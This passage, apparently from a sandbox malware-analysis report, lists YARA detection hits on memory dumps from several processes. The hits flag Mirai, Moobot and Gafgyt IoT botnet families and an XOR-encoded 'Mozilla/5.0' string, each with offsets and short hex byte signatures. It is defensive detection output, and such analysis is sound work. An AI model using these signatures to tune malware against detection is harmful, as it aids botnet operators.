2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6411.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6493.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6714.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6663.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6659.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6659.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6659.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6659.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6659.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6659.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6408.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6785.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6983.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6704.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6694.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6694.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6694.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6694.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6694.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6694.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7148.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7148.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7148.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7148.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7148.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7148.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6598.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6598.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6598.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6598.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6598.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6598.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6547.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6547.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6547.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6547.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6547.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6547.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
